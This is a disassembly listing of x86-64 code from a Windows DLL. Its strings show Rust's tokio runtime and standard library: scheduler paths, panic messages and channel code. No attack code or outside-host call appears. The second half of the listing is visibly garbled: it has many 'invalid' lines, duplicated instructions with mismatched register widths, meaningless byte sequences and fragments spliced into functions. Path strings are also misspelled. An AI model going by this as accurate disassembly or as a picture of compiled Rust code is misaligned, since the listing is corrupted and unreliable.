lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x70]
mov qword [rdx], rcx
mov qword [rdx + 8], rcx
and qword [rdx + 0x10], 0
mov qword [rsp + 0x78], rax
mov rax, rdi
add rax, 0x18
mov qword [rsp + 0x30], rax
lea r14, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rax, qword [rdi]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x18001b098
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov rbx, rax
mov r15, rdx
mov rcx, qword [rax]
call fcn.18000654b
mov qword [rbx], r12
inc qword [r15]
call fcn.180009490
test rax, rax
je 0x18001b050
mov bl, byte [rax + 0x4c]
mov r15b, byte [rax + 0x4d]
mov word [rax + 0x4c], 0x8001
jmp 0x18001b052
mov bl, 2
lea rcx, [rsp + 0x7e0]
lea rdx, [rsp + 0xf0]
call fcn.18001b854
mov ecx, ebx
mov edx, r15d
call fcn.1800607a4
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov rbx, rdx
mov r12, qword [rax]
and qword [rax], 0
mov rcx, r12
mov rdx, r14
call fcn.180007cc3
inc qword [rbx]
mov rax, qword [rdi]
mov ebp, dword [rax + 0x40]
sub ebp, 1
jb 0x18001b1ab
cmp byte [r12 + 0x30], 0
jne 0x18001b450
mov eax, dword [r12 + 0x28]
mov ecx, dword [r12 + 0x2c]
inc eax
mov dword [r12 + 0x28], eax
test ecx, ecx
je 0x18001b35e
mov r15, qword [rdi]
xor edx, edx
div ecx
test edx, edx
je 0x18001b0f8
mov rcx, r12
call fcn.180060d0f
mov rbx, rax
test rax, rax
jne 0x18001b12a
add r15, 0x88
mov rcx, r15
call fcn.180060d86
jmp 0x18001b117
add r15, 0x88
mov rcx, r15
call fcn.180060d86
mov rbx, rax
test rax, rax
jne 0x18001b12a
mov rcx, r12
call fcn.180060d0f
mov rbx, rax
xor ecx, ecx
call fcn.180060d4e
test rbx, rbx
je 0x18001b1c5
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r15, rax
mov r13, rdx
mov rcx, qword [rax]
call fcn.18000654b
mov qword [r15], r12
inc qword [r13]
call fcn.180009490
test rax, rax
je 0x18001b168
mov r15b, byte [rax + 0x4c]
mov r12b, byte [rax + 0x4d]
mov word [rax + 0x4c], 0x8001
jmp 0x18001b16b
mov r15b, 2
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax]
mov ecx, r15d
mov edx, r12d
call fcn.1800607a4
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov rbx, rdx
mov r12, qword [rax]
and qword [rax], 0
mov rcx, r12
mov rdx, r14
call fcn.180007cc3
inc qword [rbx]
jmp 0x18001b09e
mov r8, qword [rdi]
add r8, 0x10
mov rcx, rdi
mov rdx, r12
call fcn.180061661
mov r12, rax
jmp 0x18001b001
mov rcx, qword [rsp + 0x30]
call case.0x18004d727.100
mov rbx, qword [rdi]
test al, al
je 0x18001b34c
mov rbp, qword [r12 + 0x20]
and qword [r12 + 0x20], 0
mov rcx, rbp
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18006163b
cmp qword [rbx + 0x20], 0
je 0x18001b263
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r13, rax
mov r15, rdx
mov rcx, qword [rax]
call fcn.18005fb4d
mov qword [r13], r12
inc qword [r15]
mov rax, qword [rbx + 0x20]
mov rdx, qword [rbx + 0x28]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r15, rdx
mov r12, qword [rax]
and qword [rax], 0
mov rcx, r12
mov rdx, r14
call fcn.180007cc3
inc qword [r15]
cmp qword [r12 + 0x18], 0
jne 0x18001b2c9
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r15, rax
mov r13, rdx
mov rcx, qword [rax]
call fcn.18005fb4d
mov qword [r15], r12
inc qword [r13]
lea rcx, [rbp + 0x10]
call fcn.180060af5
mov rcx, qword [rsp + 0x30]
call fcn.18006060e
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r15, rdx
mov r12, qword [rax]
and qword [rax], 0
mov rcx, r12
mov rdx, r14
call fcn.180007cc3
inc qword [r15]
cmp qword [rbx + 0x30], 0
je 0x18001b338
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov r15, rax
mov r13, rdx
mov rcx, qword [rax]
call fcn.18005fb4d
mov qword [r15], r12
inc qword [r13]
mov rax, qword [rbx + 0x30]
mov rdx, qword [rbx + 0x38]
mov rcx, qword [rdx + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
call qword [rdx + 0x28]
mov rcx, rsi
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.18005f303
mov rbx, rdx
mov r12, qword [rax]
and qword [rax], 0
mov rcx, r12
mov rdx, r14
call fcn.180007cc3
inc qword [rbx]
lea rcx, [r12 + 0x20]
call fcn.18005fc1a
mov qword [r12 + 0x20], rbp
jmp 0x18001b001
add rbx, 0x10
mov rcx, rdi
mov rdx, r12
mov r8, rbx
jmp 0x18001b1b8
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.180069dd0
movabs rcx, 0x8000000000000000
cmp rdi, rcx
je 0x180019437
shl rax, 8
lea rcx, [rsp + 0x90]
mov qword [rcx], rdi
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], r8
mov qword [rcx + 0x18], rax
lea rax, [0x18007f7b0]
lea rdx, [rsp + 0x2a0]
mov qword [rdx], rax
lea rax, [fcn.18005f53d]
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rcx
lea rax, [0x18007f7f8]
lea rcx, [rsp + 0x7e0]
mov qword [rcx], rax
mov eax, 2
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea r8, [0x180049be0]
mov qword [rdx + 0x18], r8
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, [0x18007f818]
call fcn.180069750
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, [0x1800811f8]
mov edx, 0x28
call fcn.180069820
lea r8, [rsp + 0xf0]
and qword [r8], 0
lea rdx, [0x1800811d8]
lea r9, [0x1800811e0]
jmp 0x18001b446
lea r8, [rsp + 0xf0]
and qword [r8], 0
lea rdx, [0x1800811b8]
lea r9, [0x1800811c0]
lea rcx, [rsp + 0x50]
call fcn.18006b085
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 0x38], rcx
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov rcx, rsi
call fcn.18005f303
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rax]
call fcn.18000654b
mov qword [rsi], r12
inc qword [rdi]
lea rcx, [rsp + 0x2a0]
call fcn.18000722d
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
lea rcx, [rsp + 0xf0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.180069750
ud2
add rcx, 8
lea r8, [rsp + 0xf0]
and qword [r8], 0
lea rdx, [rsp + 0x50]
call fcn.18006b0f9
lea r8, [rsp + 0x7e0]
and qword [r8], 0
lea rdx, [0x1800801e0]
lea r9, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0x150]
call fcn.18006b085
mov ecx, 8
mov edx, 0x800
call fcn.180069600
mov sil, 1
jmp 0x18001b524
dec qword [rdi]
xor esi, esi
lea rcx, [rsp + 0x7e0]
mov byte [rcx], sil
call fcn.18006b53c
mov qword [rsp + 0x70], rbp
lea rax, [rsp + 0x70]
mov qword [rsp + 0x150], rax
lea rax, str.OS_cant_spawn_worker_thread:
lea rcx, [rsp + 0x7e0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x180049a20]
mov qword [rsp + 0x158], rdx
lea rdx, [rsp + 0x150]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadworker.rs
call fcn.180069750
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x18006cf40]
lea r8, [rsp + 0x2f]
mov edx, 0x1b
call fcn.180069b20
mov ecx, 8
mov rdx, rbx
call fcn.180069600
lea rcx, str.assertion_failed:_shared.shutdown_tx.is_some__registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_blockingpool.rs
lea r8, [0x180080dc8]
mov edx, 0x2e
call fcn.180069820
lea r8, [rsp + 0x7e0]
mov rax, qword [rsp + 0xe8]
mov qword [r8], rax
lea rax, [0x18006e528]
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_building_the_Runtime
lea r9, fcn.18001ba3c
jmp 0x18001b5b0
xor esi, esi
jmp 0x18001b620
xor ebx, ebx
mov rcx, rbx
jmp 0x18001b648
xor esi, esi
mov rdi, qword [rsp + 0x40]
mov rcx, rsi
mov rdx, rdi
call fcn.180069600
lea rcx, str.assertion_failed:_sharded_size.is_power_of_two__registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_srcutil_sharded_list.rs
lea r8, [0x180081298]
mov edx, 0x30
call fcn.180069820
mov ecx, 8
mov rdx, rsi
call fcn.180069600
lea r8, [rsp + 0x7e0]
mov qword [r8], rsi
mov qword [r8 + 8], rbp
mov qword [r8 + 0x10], rdi
mov qword [r8 + 0x18], rdx
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.thread_name_may_not_contain_interior_null_bytes
lea r9, [0x18007f5a0]
mov edx, 0x2f
call fcn.180069b20
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
lea rcx, [rsp + 0x7e0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadmod.rsnot_a_CurrentThread_handle
call fcn.180069750
lea rcx, [rsp + 0x2a0]
call fcn.180007069
lea rax, str.registery_srcindex.crates.io_6f17d22bba15001f_tokio_1.37.0_src_runtime_schedulermulti_threadmod.rsnot_a_CurrentThread_handle
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_park_thread
lea r9, [0x18006cf40]
lea r8, [rsp + 0x2f]
mov edx, 0x15
call fcn.180069b20
mov al, byte [rsp + 0x151]
lea rcx, [rsp + 0xf0]
mov byte [rcx], al
lea rax, [0x18007f7b0]
mov qword [rsp + 0x7e0], rax
lea rax, [fcn.18005f53d]
mov qword [rsp + 0x7e8], rax
mov qword [rsp + 0x7f0], rcx
lea rax, [0x180025520]
mov qword [rsp + 0x7f8], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x800], rax
lea rax, [0x18007f858]
lea rcx, [rsp + 0x2a0]
mov qword [rcx], rax
mov eax, 3
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [0x180009509]
mov qword [rsp + 0x808], rdx
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rax
lea rdx, [0x18007f888]
call fcn.180069750
lea rax, [0x18007f7b0]
lea rdx, [rsp + 0x2a0]
mov qword [rdx], rax
lea rax, [0x18007f790]
lea rcx, [rsp + 0x7e0]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.18005f53d]
mov qword [rdx + 8], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
lea rdx, [0x18007f7c0]
call fcn.180069750
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
lea rcx, [rsp + 0x2a0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x180081690]
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, [0x18006e528]
call fcn.180069750
mov rcx, r12
call fcn.1800073e8
lea rax, [0x18007f2d0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_threadlocal.rs
lea r9, [0x18006cf40]
lea r8, [rsp + 0x2f]
mov edx, 0x46
call fcn.180069b20
int3
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov ebx, ecx
lea rsi, [rbp - 0x28]
mov rcx, rsi
call fcn.18001be0a
push 0x18
pop rdi
push 8
pop rdx
mov rcx, rdi
call fcn.18001ba0a
mov r14, rax
mov rax, qword [rsi + 0x10]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rsi]
movups xmmword [r14], xmm0
mov al, byte [0x18008b300]
xor ecx, ecx
mov rdx, rdi
call fcn.180059d10
test rax, rax
je 0x18001bdca
mov qword [rax], r14
lea rcx, [0x18006e5f0]
mov qword [rax + 8], rcx
mov byte [rax + 0x10], bl
inc rax
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], r14
push 8
pop rcx
push 0x18
pop rdx
call fcn.180069620
ud2
cmp rax, 2
je 0x18001c552
test rax, rax
je 0x18001c7d4
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x10], rax
mov rax, qword [rsp + 0x38]
mov qword [rsi], rax
mov rax, qword [rsp + 0x40]
mov qword [rsi + 8], rax
jmp 0x18001c55f
movabs rax, 0x8000000000000005
mov qword [rsi], rax
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs r12, 0x8000000000000005
mov rax, qword [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x90], xmm0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0xa0], rcx
mov r13, r12
cmp rax, 3
je 0x18001c68c
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x48], rcx
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsp + 0x38], xmm0
jmp 0x18001c527
call fcn.18006ab00
mov qword [rsp + 0x50], rax
cmp r13, r12
je 0x18001c800
lea rdx, [rsp + 0xb0]
mov qword [rdx], r13
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rdx + 8], xmm0
mov qword [rdx + 0x18], r14
mov byte [rdx + 0x20], bpl
mov eax, dword [rsp + 0x59]
mov ecx, dword [rsp + 0x5c]
mov dword [rdx + 0x21], eax
mov dword [rdx + 0x24], ecx
lea rax, [rsp + 0x60]
mov qword [rdx + 0x28], rax
lea rax, [rsp + 0xf0]
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x38], rdi
lea rdi, [rsp + 0x30]
lea rbx, [rsp + 0x50]
mov rcx, rdi
mov r8, rbx
call fcn.18001c92a
mov rcx, rbx
call fcn.180006f7c
mov rax, qword [rdi]
jmp 0x18001c527
or byte [rcx + 0x39], 0xc5
je 0x18001c800
add rbx, 8
lea rdx, [rsp + 0xb0]
mov qword [rdx], r13
movups xmm0, xmmword [rbx]
movups xmmword [rdx + 8], xmm0
mov qword [rdx + 0x18], r14
mov byte [rdx + 0x20], bpl
lea rax, [rsp + 0x60]
mov qword [rdx + 0x28], rax
lea rax, [rsp + 0xf0]
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x38], rdi
lea rcx, [rsp + 0x30]
lea rbx, [rsp + 0x50]
mov r8, rbx
call fcn.18001c92a
mov rcx, rbx
call fcn.180006f7c
test al, 0xfe
invalid
jmp 0x18001c63b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x38], xmm0
xor eax, eax
jmp 0x18001c527
mov rax, qword [rsp + 0xb8]
mov cl, byte [rsp + 0xc0]
lea r8, [rsp + 0x30]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006ead0]
mov edx, 0x2b
call fcn.180069b20
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmcmod.rsH
mov edx, 0x28
call fcn.180069820
mov rcx, rbx
call fcn.18001cd72
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmccontext.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmclist.rs
call fcn.180069bb0
add eax, 0xd398e800
add al, 0
int3
push rdi
sub rsp, 0x28
mov rdi, rdx
xlatb
mov rsi, rcx
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdx], cl
jne 0x18001c852
lea rcx, [rdi + 1]
call fcn.18001cfc2
movzx eax, al
and eax, 1
and dl, 1
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
mov dword [rsi + 8], edi
mov byte [rsi + 0x10], dl
mov qword [rsi], rax
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rdi
call fcn.18006a610
jmp 0x18001c82f
mov rsi, rcx
mov rbx, qword [rdx + 0x10]
mov ebx, dword [rdx + 0x10]
mov ebx, dword [rdx + 0x10]
test rbx, rbx
je 0x18001c8d3
mov rdi, rdx
call fcn.18001c032
mov ch, 0xf7
invalid
dec dword [rbx + rcx*4 + 0x7f]
or byte [rbx + rbp*2 - 0x1d], cl
sbb byte [rcx], dh
invalid
mov ch, 0xf7
invalid
test r12, r12
je 0x18001c8d3
mov r14, qword [r15]
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
lea rax, [rax + 0x43]
cmp qword [r14 + 0x28], rax
cmp dword [rsi + 0x28], eax
cmp dword [rsi + 0x28], eax
je 0x18001c8c6
mov r8, qword [r15 + 8]
mov edx, 3
mov rcx, r14
int1
call fcn.18001ce2c
cmp rax, 4
je 0x18001c8d9
invalid
add r15, 0x18
inc rbx
add r12, 0xffffffffffffffe8
jmp 0x18001c887
and qword [rsi], 0
jmp 0x18001c91c
add bl, ch
mov rax, qword [r15 + 0x10]
mov rax, qword [r15 + 0x10]
test rax, rax
je 0x18001c8e6
mov qword [r14 + 0x20], rax
and byte [rcx - 0x75], cl
adc byte [rax - 0x7d], r9b
sal dword [rax], 0xe8
popfq
adc al, 4
add byte [rbp + rcx*4 + 0xd], cl
or eax, 0x52096
lea r14, [rsp + 0x20]
mov rcx, qword [r14 + 0x10]
add rcx, 0x30
call fcn.18005dd90
lea r9, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmcwaker.rs
or eax, 0x52096
or eax, 0x52096
lea r14, [rsp + 0x20]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.18001cdc9
mov rax, qword [r14 + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [r14]
movups xmmword [rsi], xmm0
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
sbb byte [rcx - 0x75], cl
add al, dh
inc qword [rax]
jle 0x18001cb0f
mov r14, r8
mov rbx, rdx
mov rsi, rcx
lea rcx, [r15 + 8]
lea rdx, [rsp + 0x28]
mov qword [rdx + 8], rdi
lea r8, [rsp + 0x40]
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x10], r8
mov qword [rdx], rax
call fcn.18001cbb1
lea rcx, [r15 + 0x38]
call fcn.18001cbf8
add byte [rax], al
mov dl, byte [rbx + 0x20]
mov rcx, r15
call fcn.180060d58
mov rax, qword [rbx + 0x30]
mov rdx, qword [rax]
mov r8d, dword [rax + 8]
mov rcx, r14
call fcn.18001ccab
lea rcx, [0x1800823ac]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
invalid
mov rdx, qword [rbx + 0x38]
lea rbx, [rsp + 0x28]
sub byte [rax - 0x77], cl
fld1
invalid
invalid
invalid
dec dword [rax - 0x7d]
cmp eax, dword [rax]
jne 0x18001cb47
sub byte [rax - 0x77], cl
fld1
invalid
lea r14, [rsp + 0x28]
mov rbx, qword [r14 + 8]
mov bpl, byte [r14 + 0x10]
lea rdx, [rbx + 8]
mov rcx, r14
mov r8, rdi
call fcn.180005061
cmp qword [r14], 0
je 0x18001cb8c
mov rax, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rcx], xmm0
call fcn.180006f7c
mov rcx, rbx
mov edx, ebp
call fcn.180060d58
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000005
mov qword [rsp + 0x40], rcx
cmp rax, rcx
enter 0xffffffffffff840f, 0x60
add dword [rax], eax
invalid
enter 0xffffffffffff840f, 0x60
add dword [rax], eax
add byte [rax - 0x7d], cl
add cl, ch
mov al, byte [rax]
add byte [rax], al
and qword [rsi], 0
jmp 0x18001cad7
mov rdx, qword [rbx + 0x38]
lea rbx, [rsp + 0x28]
mov rcx, rbx
call fcn.18001c819
cmp qword [rbx], 0
jne 0x18001cb29
lea r14, [rsp + 0x28]
mov rbx, qword [r14 + 8]
mov bpl, byte [r14 + 0x10]
lea rdx, [rbx + 8]
mov rcx, r14
mov ecx, esi
mov ecx, esi
mov r8, rdi
call fcn.180005061
cmp qword [r14], 0
je 0x18001cb80
mov rax, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rcx], xmm0
sub dword [rcx], eax
sub dword [rcx], eax
call fcn.180006f7c
mov rcx, rbx
shl dword [rsi + rdi*8 - 0x2676b701], cl
mov edx, ebp
call fcn.180060d58
mov rax, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
movabs rcx, 0x8000000000000005
mov qword [rsp + 0x40], rcx
cmp rax, rcx
je 0x18001cb98
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 1
add byte [rax - 0x77], cl
or byte [rdi], r9b
adc byte [rsp + 0x48], al
mov qword [rsi + 8], rax
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rsi + 0x10], xmm0
adc dword [rsi + 0x10], eax
jmp 0x18001caf7
lea rcx, [rsp + 0x40]
call fcn.18001cd49
mov qword [rsi], 2
lea rcx, [rsp + 0x40]
call fcn.18001cd72
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
mov edx, 0x28
call fcn.180069820
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x38]
lea r8, [rsp + 0x60]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
jmp 0x18001cb63
mov rax, qword [rsp + 0x30]
mov cl, byte [rsp + 0x38]
lea r8, [rsp + 0x60]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18006ead0]
mov edx, 0x2b
call fcn.180069b20
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_std_src_syncmpmczero.rs
call fcn.180069bb0
int3
ror dword [rax - 0x7b], 0xc0
je case.0x180006b46.250
mov rdx, qword [rsp + 0x50]
cmp rax, 1
je 0x18001e55c
cmp rax, 4
jne 0x18001e6ee
lea rcx, [rsp + 0x88]
mov qword [rcx], rdx
mov qword [rsi], 3
movabs rax, 0x2700000003
mov qword [rsi + 8], rax
call fcn.18001ba3c
jmp 0x18001e6d0
mov qword [rsp + 0x40], rdx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea r15, [rsp + 0x88]
mov rcx, r15
call fcn.18001e71c
add dword [rax], eax
add byte [rcx - 0x75], cl
and byte [r8 - 0x77], r9b
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx + 0xf], al
movups xmm0, xmmword [rdi]
add dword [rax], eax
add byte [rcx - 0x75], cl
and byte [r8 - 0x77], r9b
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx + 0xf], al
movups xmm0, xmmword [rdi]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rsp + 0x70], xmm1
and al, 0x70
jo 0x18001e5a5
movaps xmmword [rsp + 0x60], xmm0
sub dword [rsp + 0x60], eax
movups xmm6, xmmword [r15 + 0x28]
mov ecx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
mov edx, 8
or byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ch
pop rsp
invalid
call fcn.18001ba0a
movaps xmm0, xmmword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
adc dword [rax + 0x10], ecx
adc dword [rax + 0x10], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x20], rcx
mov qword [rdi + 0x38], rax
cmp byte [rdi], cl
adc dword [rdi], esi
add byte [rax], al
add byte [rax - 0x77], cl
and byte [rax - 0x77], cl
cmp byte [r15], r9b
cmp byte [rdi], cl
cmp byte [rdi], cl
adc dword [rdi], esi
mov rax, qword [r13 + 0x10]
test rax, rax
je 0x18001e5e2
invalid
invalid
mov rcx, qword [r13 + 0x18]
call qword [rax + 0x18]
and qword [r13 + 0x10], 0
mov r15, qword [rdi + 0x10]
lock inc qword [r15]
inc qword [r15]
inc qword [r15]
jle case.0x1800084e6.135
mov rbp, qword [rdi + 0x18]
mov ebp, dword [rdi + 0x18]
lock inc qword [rbp]
jle case.0x1800084e6.135
mov ecx, 0x2000
mov edx, 1
add dword [rax], eax
add byte [rax], al
add byte [rdx + 1], bh
add dword [rax], eax
add byte [rax], al
call fcn.18001ba0a
mov rdi, rax
mov edi, eax
mov r8d, 0x2000
add byte [rax], ah
add byte [rax], al
mov rcx, rax
xor edx, edx
sal dword [rcx], 0xd2
call sub.VCRUNTIME140.dll_memset
add al, 0
mov qword [rsi], rbx
mov qword [rsi + 8], r14
mov dword [rsi + 8], esi
invalid
mov dword [rsi + 8], esi
mov qword [rsi + 0x10], r12
mov rax, qword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
mov eax, dword [rsp + 0x40]
and al, 0x40
mov qword [rsi + 0x18], rax
